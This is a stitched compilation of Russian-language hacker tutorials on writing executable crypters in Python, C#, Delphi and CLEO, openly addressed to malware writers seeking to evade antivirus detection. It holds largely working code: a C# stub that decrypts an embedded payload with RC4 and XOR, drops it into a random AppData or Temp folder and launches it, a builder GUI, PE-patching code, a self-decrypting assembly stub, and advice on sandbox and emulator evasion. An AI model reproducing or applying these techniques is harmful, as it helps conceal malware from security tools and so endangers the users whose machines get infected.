Создаём свой криптор на Python

DARKHACK
Свой EXE-криптор на питоне!
Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.
1. Ознакомительный
Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.
И найти хорошего криптора ой как сложно.
Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.
Идеальным местом для обмена, наверное, будет GitHub, и туда я залью исходники написанного нами сегодня криптора — он будет доступен по адресу http://github.com/presidentua/ExePacker.
Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!
2. PE-файл
Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.
PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».
Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.
3. Теоретический криптор
Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:
- Служебные данные
- Первая кодовая секция
- Другие секции с данными
Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.
В результате получится следующая структура:
- Служебные данные
- Первая кодовая секцияНаша первая программа, которая передаст управление на 4.2
- Шифрованный код первой секции
- Другие секции с данными
- Добавленная секцияЧасть кодовой секции, перезаписанной программой 2.1
- Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.
4. Практический криптор
Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:
Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:
Закриптуем первую секцию XOR’ом с ключом «1»:
Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!
Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:
pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)
Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:
Ты, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:
asm = Template(open(«pack.tpl.asm», «r»).read()).generate(
with open(«pack.asm», «w») as f:
В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:
new_pack = open(«pack.bin», «rb»).read()
Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.
При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:
asm = Template(open(«copy.tpl.asm», «r»).read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)
Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:
new_copy = open(«copy.bin», «rb»).read()
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS[«IMAGE_SCN_MEM_WRITE»]
5. Завершающий
Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!
Желательный функционал 1. Обход песочниц
В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.
Обязательный функционал 2. Шифрование ресурсов и импорта
Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.
Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.
Обязательный функционал 1. АнтиЭмуляция
Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.
Вот тебе такая идейка для реализации:
- создаем Windows-приложение и один дополнительный поток;
- после создания потока он должен послать через API сообщение основному потоку с каким-то ключом;
- в главной программе проверяем, и если ключ правильный — передаем управление на код расшифровки основного файла;
- если код неправильный, то просто ничего не делаем и находимся в вечном цикле получения сообщений от Windows.
PS:Никогда не останавливай программу с ошибкой, это лишь прибавит криптору лишний вес. Вечный цикл получения сообщений от Windows — лучший способ.
Внутренности Антивирусов
В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.
К примеру, пусть в антивирусе будут такие сигнатуры:
- секция с кодом, записываемая +10;
- после запуска прописывается в авторан +30;
- вторая секция с именем Zeus +30;
- меньше 4 энтропия кодовой секции +20;
- есть сертификат от майкрософта -10.
Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.
Как работает pefile
При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.
При сохранении файла pe.write(filename=»result. exe») либа проходит по всем структурам и сохраняет их по указанным адресам. Чтобы что-то добавить, например, в ту же секцию, нам сначала нужно найти адрес в памяти. Это можно посчитать так: адрес в памяти последней секции + размер секции. Дальше заполняем все поля в структуре и добавляем ее в массив pe.structures. Вот и все :).
Links
- Репозиторий с измененным pefile’ом и написанным криптом http://github.com/presidentua/ExePacker
- Оригинальная либа pefile http://code.google.com/p/pefile/
- Дока по TornadoWebшаблонизатору http://www.tornadoweb.org/
- Тулза для анализа PE-файла, из которой можно брать много полезных функций http://code.google.com/p/pyew/
Пишем свой криптор на C#.
Привет, black hat kiddies, сегодня мы напишем свой полу-FUD криптор на языке богов (no) C#.
Cyberpunk style, hoe
Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
- Имея байткод (любой .exe). То есть, вы сможете закриптовать файл, не зависимо от языка, на котором написана программа.
- Имея исходники. Этот вариант предназначен только под программы, написанные на одном (с криптором) ЯП.
- Крипторы с полиморфом/метаморфом. Если вкратце, то при помощи этих техник ваш криптор будет жить дольше, за счёт изменения кода файла, но при этом без изменения функционала.
Подробнее о полиморфизме и метаморфизме можно почитать тут и тут .
В нашем случае мы будем писать криптор имея байткод. Приступим.
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
using System; using System.Diagnostics; using System.IO; using System.Text; using System.Threading;
И теперь сделаем метод дропа файла в рандом папку и его запуска:
static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла < string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл к < Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData Path.GetTempPath() // Temp >;
Random random = new Random(); // Создаём переменную random, для генерации случайного числа int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
try < if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке < File.Delete(filePath); // Если файл существует, то удаляем его >File.WriteAllBytes(filePath, bytes); // Записываем байты в файл Process.Start(filePath); // Запускаем >
catch < >>
Далее просто скопируйте три метода: RC4 — который отвечает за шифр байтов, StringToByteArray — конвертирует строку в массив байтов, и XOR — который отвечает за шифр строки,
И импортируйте их в проект:
Осталось «собрать» главный метод, и стаб готов. А главный метод выглядит так:
static void Main() < Thread.Sleep(6000); // Делаем небольшую задержку перед запуском byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты. byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4 byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл >
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
using Microsoft.CSharp; using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Forms;
В конструкторе добавляем 2 textbox’a, 3 button’a, ну и пару label’ов:
Для кнопки выбора файла создаём диалоговое окно:
private void button1_Click(object sender, EventArgs e) < OpenFileDialog dialog = new OpenFileDialog(); dialog.Filter = "build.exe |*.exe"; // Фильтр if (dialog.ShowDialog() == DialogResult.OK) textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1 >
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
static string ByteArrayToString(byte[] ba)
static string RandomString(int size) < Random random = new Random((int)DateTime.Now.Ticks);
StringBuilder builder = new StringBuilder(); char ch; for (int i = 0; i
return builder.ToString(); >
Ну и методы XOR и RC4 такие же.
Для кнопки генерации ключа получаем рандом строку:
private void button2_Click(object sender, EventArgs e) < Random rnd = new Random(); int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20 textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной >
Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
И добавим код для кнопки Build:
private void button3_Click(object sender, EventArgs e) < string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
CompilerParameters Params = new CompilerParameters(); Params.GenerateExecutable = true;
Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных Params.OutputAssembly = "Crypted.exe"; // Имя файла
string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
var settings = new Dictionary(); settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) < foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом MessageBox.Show(err.ToString()); >else < MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд >>
Криптор готов, проверяем.
Как написать свой криптор


Регистрация: 03.11.2010

Сообщений: 1

Популярность: 10

Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Пишем свой криптор
Всем доброго времени суток. Вот решил написать как делать простенький криптор на Delphi. Это моя первая статья так что прошу строго не судить. Поэтому в этой теме будем только пробовать, кто что знает помогайте и дополняйте, может чего и получится ))
Нынче стали модны пакеры и крипторы exe/dll файлов. Не стану объяснять, зачем они нужны, а перейду сразу к делу. Сегодня я при тебе напишу самый простой exe-криптор. Как всегда, самым примечательным в моей статье будет крайний примитивизм. А второго ее качества, надеюсь, никто не заметит =).
на борту
Я предпологаю, что все, что ты имеешь - это прямые руки, навык кодить на Delphi и самые поверхностные понятия об ассемблере.
Первым делом тебе предстоит ознакомиться со структурой exe-файлов [ Ссылки могут видеть только зарегистрированные пользователи. ]
Итак, теперь ты знаешь, как устроены exe-шники. Теперь я вкрадце опишу наш план.
план
В исполняемых файлах нас больше всего интересуют PE-заголовок, таблица секций и секция кода.
Как будет работать наш криптор?
Сначала заполненная часть секции кода будет зашифрована. Поскольку мы пишем простой криптор, то "шифровать" он будет простым not'ом.
В конец кода мы запишем крохотный декриптор, который этот самый код расшифрует и передаст ему управление.
Тут есть 2 момента. Во-первых, при запуске программы должен начинать работать не шифротекст, а декриптор. Поэтому нам придется изменить Entry Point в PE заголовке. А во-вторых, так просто изменять код бинарников нам никто не даст. При запуске программы вся секция кода помещается в память. Вот там мы изменим код программы. Чтобы мы могли писать в секцию кода, необходимо изменить ее Object Flag.
Почему декриптор будет находится в конце кода?
Я надеюсь, ты сам интуитивно понимаешь, что в середину шифротекста мы запихнуть его не можем. Вернее можем, только это совсем геморно. В начало кода мы помещать его тоже не будем, тк при этом весь код сместиться относительно начала секции ровно на размер декриптора. В программе могут быть команды, которые жестко привязанны к своему положению, например инструкция
push 12345678
ret
передает управление в точку с адресом 12345678h. А если она сместиться, сам понимаешь, неизбежны ошибки. Если поместить декодер в конце - таких проблем не возникнет.
Как ты заметил, размер каждой секции выровнен относительно File Align. Значит в секции кода, скорее всего, есть немного места для декодера. Мы не будем расширять секцию кода, а значит у екзешника даже не измениться размер.
Двойной клик по семерке с глобусом
Вкурил? Приступим к реализации вкрадце описанного мною плана.
Как будет внедряться код?
Сначала следует изменить PE заголовок и элемент таблицы секции, описывающий секцию кода (как правило самый первый элемент). Мы добавляем код, следовательно его размер измениться.
inc(PEModuleHeader.Size_of_Code,sizeof(CryptCode)) ;
inc(SectionTable.Virtual_Size,sizeof(CryptCode));
Затем вспоминаем, что мы собираемя модифицировать код в процессе работы программы:
SectionTable.Object_Flags:=SectionTable.Object_Fla gs or $80000000;
Меняем точку входа, теперь она распологается прямо за кодом программы:
STVirtSize:=SectionTable.Virtual_Size;
PEModuleHeader.Entry_Point_RVA:=PEModuleHeader.Bas e_of_Code+STVirtSize;
Определяемя с функцией шифрования:
function crypt(b:byte):byte;
begin
result:=not b;
end;
Мы должны прочитать бинарник до начала кода.
Затем зашифровать код. Затем вставить прямо за ним дешифровщик. Как он выглядит:
mov ecx, 0xddccbbaa; помещаем в ecx длинну зашифрованного кода
call 0 ; вызываем следующую команду
pop eax ; помещаем в eax адрес текущей команды
push 0xddccbbaa ; помещаем в стек старую точку входа
sub eax,14 ; вычисляем адрес конца шифротекста
not byte ptr [eax]; "шифруем"
dec eax ; переходим к предыдущему байту
loop $-3 ; в начало цикла
ret ; переходим в старый Entry Point
Вот тут скорее всего возникнет масса вопросов.
Сначала мы помещаем в регистр ecx длину шифротекста. Затем вызываем инструкцию, смещенную относительно данной на ноль байт, то есть следующую. Что нам это дало - при выполнении инструкции call в вершину стека помещается адрес следующей команды. Затем мы извлекаем этот самый адрес, теперь уже текущей команды, в регистр eax. Помещаем в стек адрес старой точки входа - зачем - чуть ниже.
Мы вычитаем из eax длину вышестоящих команд, таким образом теперь в eax записан адрес конца шифротекста, ведь декодер следует прямо за ним.
Мы инвентируем байт по адресу [eax], то есть последний байт шифротекста. Уменьшаем eax на единицу, то есть теперь в нем записан адрес предпоследнего байта шифротекста. loop -3 - переходим к инструкции not byte ptr [eax]. При этом из ecx вычитается единица.
Цикл будет повторяться до тех пор, пока не обнулиться ecx, то есть, пока весь код не будет расшифрован. Ты еще помнишь, что в ecx записанна длина кода?
Затем выполниться инструкция ret. При этом управление передастся в точку с адресом, записанным в вершину стека. Если ты помнишь, туда мы записали старую точку входа. То есть сразу после дешифровки управление передастся расшифрованному коду программы.
Отдельное спасибо Neveral'у
![]() |
![]() |
Гайд Пишем свой криптер на CLEO!
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём некорректно.
Вам необходимо обновить браузер или попробовать использовать другой.
Статус В этой теме нельзя размещать новые ответы.
SR_team
like pancake
Автор темы
BH Team
И так пришло время заняться развитием портала.
По окончанию урока вы сможете сами написать свой собственный, уникальный криптор. Так же вы приобретете скилл понятия как работают крипторы - вы сможете с легкостью калькулятором декриптовать любой скрипт руками.
В уроке используется по байтовый крипт - т.е. криптуется не весь скрипт сразу каким-то математическим действием, а каждый байт индивидуально, можно даже алгоритм составить по которому для каждого байта будет своя формула крипта, но об этом как-нибудь в другой раз.
Т.к. мы работаем на клео и т.к. работаем с каждым байтом индивидуально процесс крипта и декрипта займет много времени. Да-да вы не ослышались - скорость запуска скрипта будет зависеть от его размера и сложности алгоритма.
Криптовать мы будем способом инвертирования всех байт - это самый простой способ. 1 байт = от 0x00 до 0xFF (Кто не знаком с HEX, пожалуйста ознакомьтесь, ибо с ним работать удобнее, чем с десятичной системой счисления), к примеру у нас в скрипте байт который мы обрабатываем равен 0x04 значит после инвертирования он будет равен 0xFF - 0x04 = 0xFB
И так приступим, тут я набросал код, который криптует скрипт инвертором, но на выходе мы получаем только закриптованые данные, а не рабочий скрипт, по этому не спешите с тестами, да и криптует он минуты 3 из-за того что скрипт весит 19кб (по этому лучше не сохранять в скрипте исходный код - он будет весить в 10 раз меньше)
http://pastebin.com/2m9C0xEE
После компиляции и запуска в игре под чатом будет отображен прогресс крипта (X/19201), после чего создастся файл Invertion.bin в папке с игрой, содержащий инвертированый код.
Теперь давайте рассмотрим код для запуска этого скрипта. Да-да как я уже говорил, нужно декриптовать скрипт перед запуском, кто-то возможно этому удивится, но так работают все крипторы, потому что игра не умеет работать с закриптованным скриптом, и что бы наш скрипт работал его надо декриптовать в памяти игры.
http://pastebin.com/qMvx1jVx
Что же мы видем? Код криптора и декриптора практически не изменился! Если мы оставим запись в файл, как при крипте, то наш скрипт тупо декриптуется и сохранится в папку с игрой. Но не всегда код на столько одинаков, обычно изменяется математическая операция над байтами, но почему не изменилась у нас? Ответ прост, как я писал в начале урока, для простоты в уроке используется метод инвертирования в качестве крипта. Как 0xFF - 0x04 = 0xFB, так и 0xFF - 0xFB = 0x04.
19201 - размер скрипта который мы закриптовываем/раскриптовываем
функцию декрипта скрипта в памяти можно скрыть только другой такой функцией, т.е. можно только усложнить декрипт скрипта, но не защитить скрипт от него (это касается абсолютно всех криптеров)
Лучше ебашить не по байту как в уроке, а по 4 байта - принцип не изменится, а криптоваться и декриптоваться будет в 4 раза быстрее

